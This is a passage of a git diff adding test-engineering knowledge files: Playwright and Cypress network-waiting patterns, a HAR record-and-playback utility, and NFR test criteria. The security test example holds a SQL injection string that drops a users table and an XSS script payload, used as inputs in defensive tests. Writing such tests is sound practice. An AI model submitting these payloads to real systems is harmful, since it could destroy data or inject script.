+  expect(users.status()).toBe(200);
+  expect(products.status()).toBe(200);
+  expect(orders.status()).toBe(200);
+});
+
+// ✅ GOOD: Wait for spinner to disappear
+test('wait for loading indicator', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Wait for spinner to disappear (signals data loaded)
+  await expect(page.getByTestId('loading-spinner')).not.toBeVisible();
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for custom event (advanced)
+test('wait for custom ready event', async ({ page }) => {
+  let appReady = false;
+  page.on('console', (msg) => {
+    if (msg.text() === 'App ready') appReady = true;
+  });
+
+  await page.goto('/dashboard');
+
+  // Poll until custom condition met
+  await page.waitForFunction(() => appReady, { timeout: 10000 });
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ❌ BAD: Hard wait (arbitrary timeout)
+test('flaky hard wait example', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // WHY 3 seconds? What if slower? What if faster?
+  await expect(page.getByText('Dashboard')).toBeVisible(); // May fail if >3s
+});
+
+// Cypress equivalents
+describe('Deterministic Waiting', () => {
+  it('should wait for response', () => {
+    cy.intercept('GET', '**/api/users').as('getUsers');
+    cy.visit('/dashboard');
+    cy.wait('@getUsers').its('response.statusCode').should('eq', 200);
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  it('should wait for spinner to disappear', () => {
+    cy.visit('/dashboard');
+    cy.get('[data-testid="loading-spinner"]').should('not.exist');
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  // ❌ BAD: Hard wait
+  it('flaky hard wait', () => {
+    cy.visit('/dashboard');
+    cy.wait(3000); // NEVER DO THIS
+    cy.contains('Dashboard').should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()` with URL pattern or predicate = deterministic
+- `waitForLoadState('networkidle')` = wait for all network activity to finish
+- Wait for element state changes (spinner disappears, button enabled)
+- **NEVER** use `waitForTimeout()` or `cy.wait(ms)` - always non-deterministic
+
+### Example 5: Anti-Pattern - Navigate Then Mock
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Race condition - mock registered AFTER navigation starts
+test('flaky test - navigate then mock', async ({ page }) => {
+  // Navigation starts immediately
+  await page.goto('/dashboard'); // Request to /api/users fires NOW
+
+  // Mock registered too late - request already sent
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Test randomly passes/fails depending on timing
+  await expect(page.getByText('Test User')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: No wait for response
+test('flaky test - no explicit wait', async ({ page }) => {
+  await page.route('**/api/users', (route) => route.fulfill({ status: 200, body: JSON.stringify([]) }));
+
+  await page.goto('/dashboard');
+
+  // Assertion runs immediately - may fail if response slow
+  await expect(page.getByText('No users found')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: Generic timeout
+test('flaky test - hard wait', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(2000); // Arbitrary wait - brittle
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+```
+
+**Why It Fails**:
+
+- **Mock after navigate**: Request fires during navigation, mock isn't active yet (race condition)
+- **No explicit wait**: Assertion runs before response arrives (timing-dependent)
+- **Hard waits**: Slow tests, brittle (fails if < timeout, wastes time if > timeout)
+- **Non-deterministic**: Passes locally, fails in CI (different speeds)
+
+**Better Approach**: Always intercept → trigger → await
+
+```typescript
+// ✅ GOOD: Intercept BEFORE navigate
+test('deterministic test', async ({ page }) => {
+  // Step 1: Register mock FIRST
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Step 2: Store response promise BEFORE trigger
+  const responsePromise = page.waitForResponse('**/api/users');
+
+  // Step 3: THEN trigger
+  await page.goto('/dashboard');
+
+  // Step 4: THEN await response
+  await responsePromise;
+
+  // Step 5: THEN assert (data is guaranteed loaded)
+  await expect(page.getByText('Test User')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Order matters: Mock → Promise → Trigger → Await → Assert
+- No race conditions: Mock is active before request fires
+- Explicit wait: Response promise ensures data loaded
+- Deterministic: Always passes if app works correctly
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (network setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Network fixture patterns
+  - `data-factories.md` - API-first setup with network
+  - `test-quality.md` - Deterministic test principles
+
+## Debugging Network Issues
+
+When network tests fail, check:
+
+1. **Timing**: Is interception registered **before** action?
+2. **URL pattern**: Does pattern match actual request URL?
+3. **Response format**: Is mocked response valid JSON/format?
+4. **Status code**: Is app checking for 200 vs 201 vs 204?
+5. **HAR file**: Capture real traffic to understand actual API contract
+
+```typescript
+// Debug network issues with logging
+test('debug network', async ({ page }) => {
+  // Log all requests
+  page.on('request', (req) => console.log('→', req.method(), req.url()));
+
+  // Log all responses
+  page.on('response', (resp) => console.log('←', resp.status(), resp.url()));
+
+  await page.goto('/dashboard');
+});
+```
+
+_Source: Murat Testing Philosophy (lines 94-137), Playwright network patterns, Cypress intercept best practices._
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/network-recorder.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/network-recorder.md
new file mode 100644
index 0000000..ca86323
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/network-recorder.md
@@ -0,0 +1,527 @@
+# Network Recorder Utility
+
+## Principle
+
+Record network traffic to HAR files during test execution, then play back from disk for offline testing. Enables frontend tests to run in complete isolation from backend services with intelligent stateful CRUD detection for realistic API behavior.
+
+## Rationale
+
+Traditional E2E tests require live backend services:
+
+- Slow (real network latency)
+- Flaky (backend instability affects tests)
+- Expensive (full stack running for UI tests)
+- Coupled (UI tests break when API changes)
+
+HAR-based recording/playback provides:
+
+- **True offline testing**: UI tests run without backend
+- **Deterministic behavior**: Same responses every time
+- **Fast execution**: No network latency
+- **Stateful mocking**: CRUD operations work naturally (not just read-only)
+- **Environment flexibility**: Map URLs for any environment
+
+## Quick Start
+
+### 1. Record Network Traffic
+
+```typescript
+// Set mode to 'record' to capture network traffic
+process.env.PW_NET_MODE = 'record';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will record all network traffic
+  await networkRecorder.setup(context);
+
+  // Your normal test code
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Network traffic is automatically saved to HAR file
+});
+```
+
+### 2. Playback Network Traffic
+
+```typescript
+// Set mode to 'playback' to use recorded traffic
+process.env.PW_NET_MODE = 'playback';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will replay from HAR file
+  await networkRecorder.setup(context);
+
+  // Same test code runs without hitting real backend!
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+});
+```
+
+That's it! Your tests now run completely offline using recorded network traffic.
+
+## Pattern Examples
+
+### Example 1: Basic Record and Playback
+
+**Context**: The fundamental pattern - record traffic once, play back for all subsequent runs.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Set mode in test file (recommended)
+process.env.PW_NET_MODE = 'playback'; // or 'record'
+
+test('CRUD operations work offline', async ({ page, context, networkRecorder }) => {
+  // Setup recorder (records or plays back based on PW_NET_MODE)
+  await networkRecorder.setup(context);
+
+  await page.goto('/');
+
+  // First time (record mode): Records all network traffic to HAR
+  // Subsequent runs (playback mode): Plays back from HAR (no backend!)
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Intelligent CRUD detection makes this work offline!
+  await expect(page.getByText('Inception')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `PW_NET_MODE=record` captures traffic to HAR files
+- `PW_NET_MODE=playback` replays from HAR files
+- Set mode in test file or via environment variable
+- HAR files auto-organized by test name
+- Stateful mocking detects CRUD operations
+
+### Example 2: Complete CRUD Flow with HAR
+
+**Context**: Full create-read-update-delete flow that works completely offline.
+
+**Implementation**:
+
+```typescript
+process.env.PW_NET_MODE = 'playback';
+
+test.describe('Movie CRUD - offline with network recorder', () => {
+  test.beforeEach(async ({ page, networkRecorder, context }) => {
+    await networkRecorder.setup(context);
+    await page.goto('/');
+  });
+
+  test('should add, edit, delete movie browser-only', async ({ page, interceptNetworkCall }) => {
+    // Create
+    await page.fill('#movie-name', 'Inception');
+    await page.fill('#year', '2010');
+    await page.click('#add-movie');
+
+    // Verify create (reads from stateful HAR)
+    await expect(page.getByText('Inception')).toBeVisible();
+
+    // Update
+    await page.getByText('Inception').click();
+    await page.fill('#movie-name', "Inception Director's Cut");
+
+    const updateCall = interceptNetworkCall({
+      method: 'PUT',
+      url: '/movies/*',
+    });
+
+    await page.click('#save');
+    await updateCall; // Wait for update
+
+    // Verify update (HAR reflects state change!)
+    await page.click('#back');
+    await expect(page.getByText("Inception Director's Cut")).toBeVisible();
+
+    // Delete
+    await page.click(`[data-testid="delete-Inception Director's Cut"]`);
+
+    // Verify delete (HAR reflects removal!)
+    await expect(page.getByText("Inception Director's Cut")).not.toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Full CRUD operations work offline
+- Stateful HAR mocking tracks creates/updates/deletes
+- Combine with `interceptNetworkCall` for deterministic waits
+- First run records, subsequent runs replay
+
+### Example 3: Common Patterns
+
+**Recording Only API Calls**:
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    urlFilter: /\/api\//, // Only record API calls, ignore static assets
+  },
+});
+```
+
+**Playback with Fallback**:
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    fallback: true, // Fall back to live requests if HAR entry missing
+  },
+});
+```
+
+**Custom HAR File Location**:
+
+```typescript
+await networkRecorder.setup(context, {
+  harFile: {
+    harDir: 'recordings/api-calls',
+    baseName: 'user-journey',
+    organizeByTestFile: false, // Optional: flatten directory structure
+  },
+});
+```
+
+**Directory Organization:**
+
+- `organizeByTestFile: true` (default): `har-files/test-file-name/baseName-test-title.har`
+- `organizeByTestFile: false`: `har-files/baseName-test-title.har`
+
+### Example 4: Response Content Storage - Embed vs Attach
+
+**Context**: Choose how response content is stored in HAR files.
+
+**`embed` (Default - Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'embed', // Store content inline (default)
+  },
+});
+```
+
+**Pros:**
+
+- Single self-contained file - Easy to share, version control
+- Better for small-medium responses (API JSON, HTML pages)
+- HAR specification compliant
+
+**Cons:**
+
+- Larger HAR files
+- Not ideal for large binary content (images, videos)
+
+**`attach` (Alternative):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'attach', // Store content separately
+  },
+});
+```
+
+**Pros:**
+
+- Smaller HAR files
+- Better for large responses (images, videos, documents)
+
+**Cons:**
+
+- Multiple files to manage
+- Harder to share
+
+**When to Use Each:**
+
+| Use `embed` (default) when          | Use `attach` when               |
+| ----------------------------------- | ------------------------------- |
+| Recording API responses (JSON, XML) | Recording large images, videos  |
+| Small to medium HTML pages          | HAR file size >50MB             |
+| You want a single, portable file    | Maximum disk efficiency needed  |
+| Sharing HAR files with team         | Working with ZIP archive output |
+
+### Example 5: Cross-Environment Compatibility (URL Mapping)
+
+**Context**: Record in dev environment, play back in CI with different base URLs.
+
+**The Problem**: HAR files contain URLs for the recording environment (e.g., `dev.example.com`). Playing back on a different environment fails.
+
+**Simple Hostname Mapping:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'preview.example.com': 'dev.example.com',
+        'staging.example.com': 'dev.example.com',
+        'localhost:3000': 'dev.example.com',
+      },
+    },
+  },
+});
+```
+
+**Pattern-Based Mapping (Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      patterns: [
+        // Map any preview-XXXX subdomain to dev
+        { match: /preview-\d+\.example\.com/, replace: 'dev.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Custom Function:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      mapUrl: (url) => url.replace('staging.example.com', 'dev.example.com'),
+    },
+  },
+});
+```
+
+**Complex Multi-Environment Example:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'localhost:3000': 'admin.example.com',
+        'admin-staging.example.com': 'admin.example.com',
+        'admin.example.com': 'admin.example.com',
+      },
+      patterns: [
+        { match: /admin-\d+\.example\.com/, replace: 'admin.example.com' },
+        { match: /admin-staging-pr-\w+-\d\.example\.com/, replace: 'admin.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Benefits:**
+
+- Record once on dev, all environments map back to recordings
+- CORS headers automatically updated based on request origin
+- Debug with: `LOG_LEVEL=debug npm run test`
+
+## Why Use This Instead of Native Playwright?
+
+| Native Playwright (`routeFromHAR`) | network-recorder Utility       |
+| ---------------------------------- | ------------------------------ |
+| ~80 lines setup boilerplate        | ~5 lines total                 |
+| Manual HAR file management         | Automatic file organization    |
+| Complex setup/teardown             | Automatic cleanup via fixtures |
+| **Read-only tests only**           | **Full CRUD support**          |
+| **Stateless**                      | **Stateful mocking**           |
+| Manual URL mapping                 | Automatic environment mapping  |
+
+**The game-changer: Stateful CRUD detection**
+
+Native Playwright HAR playback is stateless - a POST create followed by GET list won't show the created item. This utility intelligently tracks CRUD operations in memory to reflect state changes, making offline tests behave like real APIs.
+
+## How Stateful CRUD Detection Works
+
+When in playback mode, the Network Recorder automatically analyzes your HAR file to detect CRUD patterns. If it finds:
+
+- Multiple GET requests to the same resource endpoint (e.g., `/movies`)
+- Mutation operations (POST, PUT, DELETE) to those resources
+- Evidence of state changes between identical requests
+
+It automatically switches from static HAR playback to an intelligent stateful mock that:
+
+- Maintains state across requests
+- Auto-generates IDs for new resources
+- Returns proper 404s for deleted resources
+- Supports polling scenarios where state changes over time
+
+**This happens automatically - no configuration needed!**
+
+## API Reference
+
+### NetworkRecorder Methods
+
+| Method               | Return Type              | Description                                   |
+| -------------------- | ------------------------ | --------------------------------------------- |
+| `setup(context)`     | `Promise<void>`          | Sets up recording/playback on browser context |
+| `cleanup()`          | `Promise<void>`          | Flushes data to disk and cleans up memory     |
+| `getContext()`       | `NetworkRecorderContext` | Gets current recorder context information     |
+| `getStatusMessage()` | `string`                 | Gets human-readable status message            |
+| `getHarStats()`      | `Promise<HarFileStats>`  | Gets HAR file statistics and metadata         |
+
+### Understanding `cleanup()`
+
+The `cleanup()` method performs memory and resource cleanup - **it does NOT delete HAR files**:
+
+**What it does:**
+
+- Flushes recorded data to disk (writes HAR file in recording mode)
+- Releases file locks
+- Clears in-memory data
+- Resets internal state
+
+**What it does NOT do:**
+
+- Delete HAR files from disk
+- Remove recorded network traffic
+- Clear browser context or cookies
+
+### Configuration Options
+
+```typescript
+type NetworkRecorderConfig = {
+  harFile?: {
+    harDir?: string; // Directory for HAR files (default: 'har-files')
+    baseName?: string; // Base name for HAR files (default: 'network-traffic')
+    organizeByTestFile?: boolean; // Organize by test file (default: true)
+  };
+
+  recording?: {
+    content?: 'embed' | 'attach'; // Response content handling (default: 'embed')
+    urlFilter?: string | RegExp; // URL filter for recording
+    update?: boolean; // Update existing HAR files (default: false)
+  };
+
+  playback?: {
+    fallback?: boolean; // Fall back to live requests (default: false)
+    urlFilter?: string | RegExp; // URL filter for playback
+    updateMode?: boolean; // Update mode during playback (default: false)
+  };
+
+  forceMode?: 'record' | 'playback' | 'disabled';
+};
+```
+
+## Environment Configuration
+
+Control the recording mode using the `PW_NET_MODE` environment variable:
+
+```bash
+# Record mode - captures network traffic to HAR files
+PW_NET_MODE=record npm run test:pw
+
+# Playback mode - replays network traffic from HAR files
+PW_NET_MODE=playback npm run test:pw
+
+# Disabled mode - no network recording/playback
+PW_NET_MODE=disabled npm run test:pw
+
+# Default behavior (when PW_NET_MODE is empty/unset) - same as disabled
+npm run test:pw
+```
+
+**Tip**: We recommend setting `process.env.PW_NET_MODE` directly in your test file for better control.
+
+## Troubleshooting
+
+### HAR File Not Found
+
+If you see "HAR file not found" errors during playback:
+
+1. Ensure you've recorded the test first with `PW_NET_MODE=record`
+2. Check the HAR file exists in the expected location (usually `har-files/`)
+3. Enable fallback mode: `playback: { fallback: true }`
+
+### Authentication and Network Recording
+
+The network recorder works seamlessly with authentication:
+
+```typescript
+test('Authenticated recording', async ({ page, context, authSession, networkRecorder }) => {
+  // First authenticate
+  await authSession.login('testuser', 'password');
+
+  // Then setup network recording with authenticated context
+  await networkRecorder.setup(context);
+
+  // Test authenticated flows
+  await page.goto('/dashboard');
+});
+```
+
+### Concurrent Test Issues
+
+The recorder includes built-in file locking for safe parallel execution. Each test gets its own HAR file based on the test name.
+
+## Integration with Other Utilities
+
+**With interceptNetworkCall (deterministic waits):**
+
+```typescript
+test('use both utilities', async ({ page, context, networkRecorder, interceptNetworkCall }) => {
+  await networkRecorder.setup(context);
+
+  const createCall = interceptNetworkCall({
+    method: 'POST',
+    url: '/api/movies',
+  });
+
+  await page.click('#add-movie');
+  await createCall; // Wait for create (works with HAR!)
+
+  // Network recorder provides playback, intercept provides determinism
+});
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixture patterns
+- `intercept-network-call.md` - Combine for deterministic offline tests
+- `auth-session.md` - Record authenticated traffic
+- `network-first.md` - Core pattern for intercept-before-navigate
+
+## Anti-Patterns
+
+**DON'T mix record and playback in same test:**
+
+```typescript
+process.env.PW_NET_MODE = 'record';
+// ... some test code ...
+process.env.PW_NET_MODE = 'playback'; // Don't switch mid-test
+```
+
+**DO use one mode per test:**
+
+```typescript
+process.env.PW_NET_MODE = 'playback'; // Set once at top
+
+test('my test', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context);
+  // Entire test uses playback mode
+});
+```
+
+**DON'T forget to call setup:**
+
+```typescript
+test('broken', async ({ page, networkRecorder }) => {
+  await page.goto('/'); // HAR not active!
+});
+```
+
+**DO always call setup before navigation:**
+
+```typescript
+test('correct', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context); // Must setup first
+  await page.goto('/'); // Now HAR is active
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/nfr-criteria.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/nfr-criteria.md
new file mode 100644
index 0000000..33d5814
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/nfr-criteria.md
@@ -0,0 +1,670 @@
+# Non-Functional Requirements (NFR) Criteria
+
+## Principle
+
+Non-functional requirements (security, performance, reliability, maintainability) are **validated through automated tests**, not checklists. NFR assessment uses objective pass/fail criteria tied to measurable thresholds. Ambiguous requirements default to CONCERNS until clarified.
+
+## Rationale
+
+**The Problem**: Teams ship features that "work" functionally but fail under load, expose security vulnerabilities, or lack error recovery. NFRs are treated as optional "nice-to-haves" instead of release blockers.
+
+**The Solution**: Define explicit NFR criteria with automated validation. Security tests verify auth/authz and secret handling. Performance tests enforce SLO/SLA thresholds with profiling evidence. Reliability tests validate error handling, retries, and health checks. Maintainability is measured by test coverage, code duplication, and observability.
+
+**Why This Matters**:
+
+- Prevents production incidents (security breaches, performance degradation, cascading failures)
+- Provides objective release criteria (no subjective "feels fast enough")
+- Automates compliance validation (audit trail for regulated environments)
+- Forces clarity on ambiguous requirements (default to CONCERNS)
+
+## Pattern Examples
+
+### Example 1: Security NFR Validation (Auth, Secrets, OWASP)
+
+**Context**: Automated security tests enforcing authentication, authorization, and secret handling
+
+**Implementation**:
+
+```typescript
+// tests/nfr/security.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Security NFR: Authentication & Authorization', () => {
+  test('unauthenticated users cannot access protected routes', async ({ page }) => {
+    // Attempt to access dashboard without auth
+    await page.goto('/dashboard');
+
+    // Should redirect to login (not expose data)
+    await expect(page).toHaveURL(/\/login/);
+    await expect(page.getByText('Please sign in')).toBeVisible();
+
+    // Verify no sensitive data leaked in response
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('user_id');
+    expect(pageContent).not.toContain('api_key');
+  });
+
+  test('JWT tokens expire after 15 minutes', async ({ page, request }) => {
+    // Login and capture token
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('ValidPass123!');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    const token = await page.evaluate(() => localStorage.getItem('auth_token'));
+    expect(token).toBeTruthy();
+
+    // Wait 16 minutes (use mock clock in real tests)
+    await page.clock.fastForward('00:16:00');
+
+    // Token should be expired, API call should fail
+    const response = await request.get('/api/user/profile', {
+      headers: { Authorization: `Bearer ${token}` },
+    });
+
+    expect(response.status()).toBe(401);
+    const body = await response.json();
+    expect(body.error).toContain('expired');
+  });
+
+  test('passwords are never logged or exposed in errors', async ({ page }) => {
+    // Trigger login error
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('WrongPassword123!');
+
+    // Monitor console for password leaks
+    const consoleLogs: string[] = [];
+    page.on('console', (msg) => consoleLogs.push(msg.text()));
+
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    // Error shown to user (generic message)
+    await expect(page.getByText('Invalid credentials')).toBeVisible();
+
+    // Verify password NEVER appears in console, DOM, or network
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('WrongPassword123!');
+    expect(consoleLogs.join('\n')).not.toContain('WrongPassword123!');
+  });
+
+  test('RBAC: users can only access resources they own', async ({ page, request }) => {
+    // Login as User A
+    const userAToken = await login(request, 'userA@example.com', 'password');
+
+    // Try to access User B's order
+    const response = await request.get('/api/orders/user-b-order-id', {
+      headers: { Authorization: `Bearer ${userAToken}` },
+    });
+
+    expect(response.status()).toBe(403); // Forbidden
+    const body = await response.json();
+    expect(body.error).toContain('insufficient permissions');
+  });
+
+  test('SQL injection attempts are blocked', async ({ page }) => {
+    await page.goto('/search');
+
+    // Attempt SQL injection
+    await page.getByPlaceholder('Search products').fill("'; DROP TABLE users; --");
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    // Should return empty results, NOT crash or expose error
+    await expect(page.getByText('No results found')).toBeVisible();
+
+    // Verify app still works (table not dropped)
+    await page.goto('/dashboard');
+    await expect(page.getByText('Welcome')).toBeVisible();
+  });
+
+  test('XSS attempts are sanitized', async ({ page }) => {
+    await page.goto('/profile/edit');
+
+    // Attempt XSS injection
+    const xssPayload = '<script>alert("XSS")</script>';
+    await page.getByLabel('Bio').fill(xssPayload);
+    await page.getByRole('button', { name: 'Save' }).click();
+
+    // Reload and verify XSS is escaped (not executed)
+    await page.reload();
+    const bio = await page.getByTestId('user-bio').textContent();
+
+    // Text should be escaped, script should NOT execute
+    expect(bio).toContain('&lt;script&gt;');
+    expect(bio).not.toContain('<script>');
+  });
+});
+
+// Helper
+async function login(request: any, email: string, password: string): Promise<string> {
+  const response = await request.post('/api/auth/login', {
+    data: { email, password },
+  });
+  const body = await response.json();
+  return body.token;
+}
+```
+
+**Key Points**:
+
+- Authentication: Unauthenticated access redirected (not exposed)
+- Authorization: RBAC enforced (403 for insufficient permissions)
+- Token expiry: JWT expires after 15 minutes (automated validation)
+- Secret handling: Passwords never logged or exposed in errors
+- OWASP Top 10: SQL injection and XSS blocked (input sanitization)
+
+**Security NFR Criteria**:
+
+- ✅ PASS: All 6 tests green (auth, authz, token expiry, secret handling, SQL injection, XSS)
+- ⚠️ CONCERNS: 1-2 tests failing with mitigation plan and owner assigned
+- ❌ FAIL: Critical exposure (unauthenticated access, password leak, SQL injection succeeds)
+
+---
+
+### Example 2: Performance NFR Validation (k6 Load Testing for SLO/SLA)
+
+**Context**: Use k6 for load testing, stress testing, and SLO/SLA enforcement (NOT Playwright)
+
+**Implementation**:
+
+```javascript
+// tests/nfr/performance.k6.js
+import http from 'k6/http';
+import { check, sleep } from 'k6';
+import { Rate, Trend } from 'k6/metrics';
+
+// Custom metrics
+const errorRate = new Rate('errors');
+const apiDuration = new Trend('api_duration');
+
+// Performance thresholds (SLO/SLA)
+export const options = {
+  stages: [
+    { duration: '1m', target: 50 }, // Ramp up to 50 users
+    { duration: '3m', target: 50 }, // Stay at 50 users for 3 minutes
+    { duration: '1m', target: 100 }, // Spike to 100 users
+    { duration: '3m', target: 100 }, // Stay at 100 users
+    { duration: '1m', target: 0 }, // Ramp down
+  ],
+  thresholds: {
+    // SLO: 95% of requests must complete in <500ms
+    http_req_duration: ['p(95)<500'],
+    // SLO: Error rate must be <1%
+    errors: ['rate<0.01'],
+    // SLA: API endpoints must respond in <1s (99th percentile)
+    api_duration: ['p(99)<1000'],
+  },
+};
+
+export default function () {
+  // Test 1: Homepage load performance
+  const homepageResponse = http.get(`${__ENV.BASE_URL}/`);
+  check(homepageResponse, {
+    'homepage status is 200': (r) => r.status === 200,
+    'homepage loads in <2s': (r) => r.timings.duration < 2000,
+  });
+  errorRate.add(homepageResponse.status !== 200);
+
+  // Test 2: API endpoint performance
+  const apiResponse = http.get(`${__ENV.BASE_URL}/api/products?limit=10`, {
+    headers: { Authorization: `Bearer ${__ENV.API_TOKEN}` },
+  });
+  check(apiResponse, {
+    'API status is 200': (r) => r.status === 200,
+    'API responds in <500ms': (r) => r.timings.duration < 500,
+  });
+  apiDuration.add(apiResponse.timings.duration);
+  errorRate.add(apiResponse.status !== 200);
+
+  // Test 3: Search endpoint under load
+  const searchResponse = http.get(`${__ENV.BASE_URL}/api/search?q=laptop&limit=100`);
+  check(searchResponse, {
+    'search status is 200': (r) => r.status === 200,
+    'search responds in <1s': (r) => r.timings.duration < 1000,
+    'search returns results': (r) => JSON.parse(r.body).results.length > 0,
+  });
+  errorRate.add(searchResponse.status !== 200);
+
+  sleep(1); // Realistic user think time
+}
+
+// Threshold validation (run after test)
+export function handleSummary(data) {
+  const p95Duration = data.metrics.http_req_duration.values['p(95)'];
+  const p99ApiDuration = data.metrics.api_duration.values['p(99)'];
+  const errorRateValue = data.metrics.errors.values.rate;
+
+  console.log(`P95 request duration: ${p95Duration.toFixed(2)}ms`);
+  console.log(`P99 API duration: ${p99ApiDuration.toFixed(2)}ms`);
+  console.log(`Error rate: ${(errorRateValue * 100).toFixed(2)}%`);
+
+  return {
+    'summary.json': JSON.stringify(data),
+    stdout: `
+Performance NFR Results:
+- P95 request duration: ${p95Duration < 500 ? '✅ PASS' : '❌ FAIL'} (${p95Duration.toFixed(2)}ms / 500ms threshold)
+- P99 API duration: ${p99ApiDuration < 1000 ? '✅ PASS' : '❌ FAIL'} (${p99ApiDuration.toFixed(2)}ms / 1000ms threshold)
+- Error rate: ${errorRateValue < 0.01 ? '✅ PASS' : '❌ FAIL'} (${(errorRateValue * 100).toFixed(2)}% / 1% threshold)
+    `,
+  };
+}
+```
+
+**Run k6 tests:**
+
+```bash
+# Local smoke test (10 VUs, 30s)
+k6 run --vus 10 --duration 30s tests/nfr/performance.k6.js
+
+# Full load test (stages defined in script)
+k6 run tests/nfr/performance.k6.js
+
+# CI integration with thresholds
+k6 run --out json=performance-results.json tests/nfr/performance.k6.js
+```
+
+**Key Points**:
+
+- **k6 is the right tool** for load testing (NOT Playwright)
+- SLO/SLA thresholds enforced automatically (`p(95)<500`, `rate<0.01`)
+- Realistic load simulation (ramp up, sustained load, spike testing)
+- Comprehensive metrics (p50, p95, p99, error rate, throughput)
+- CI-friendly (JSON output, exit codes based on thresholds)
+
+**Performance NFR Criteria**:
+
+- ✅ PASS: All SLO/SLA targets met with k6 profiling evidence (p95 < 500ms, error rate < 1%)
+- ⚠️ CONCERNS: Trending toward limits (e.g., p95 = 480ms approaching 500ms) or missing baselines
+- ❌ FAIL: SLO/SLA breached (e.g., p95 > 500ms) or error rate > 1%
+
+**Performance Testing Levels (from Test Architect course):**
+
+- **Load testing**: System behavior under expected load
+- **Stress testing**: System behavior under extreme load (breaking point)
+- **Spike testing**: Sudden load increases (traffic spikes)
+- **Endurance/Soak testing**: System behavior under sustained load (memory leaks, resource exhaustion)
+- **Benchmarking**: Baseline measurements for comparison
+
+**Note**: Playwright can validate **perceived performance** (Core Web Vitals via Lighthouse), but k6 validates **system performance** (throughput, latency, resource limits under load)
+
+---
+
+### Example 3: Reliability NFR Validation (Playwright for UI Resilience)
+
+**Context**: Automated reliability tests validating graceful degradation and recovery paths
+
+**Implementation**:
+
+```typescript
+// tests/nfr/reliability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Reliability NFR: Error Handling & Recovery', () => {
+  test('app remains functional when API returns 500 error', async ({ page, context }) => {
+    // Mock API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // User sees error message (not blank page or crash)
+    await expect(page.getByText('Unable to load products. Please try again.')).toBeVisible();
+    await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+
+    // App navigation still works (graceful degradation)
+    await page.getByRole('link', { name: 'Home' }).click();
+    await expect(page).toHaveURL('/');
+  });
+
+  test('API client retries on transient failures (3 attempts)', async ({ page, context }) => {
+    let attemptCount = 0;
+
+    await context.route('**/api/checkout', (route) => {
+      attemptCount++;
+
+      // Fail first 2 attempts, succeed on 3rd
+      if (attemptCount < 3) {
+        route.fulfill({ status: 503, body: JSON.stringify({ error: 'Service Unavailable' }) });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ orderId: '12345' }) });
+      }
+    });
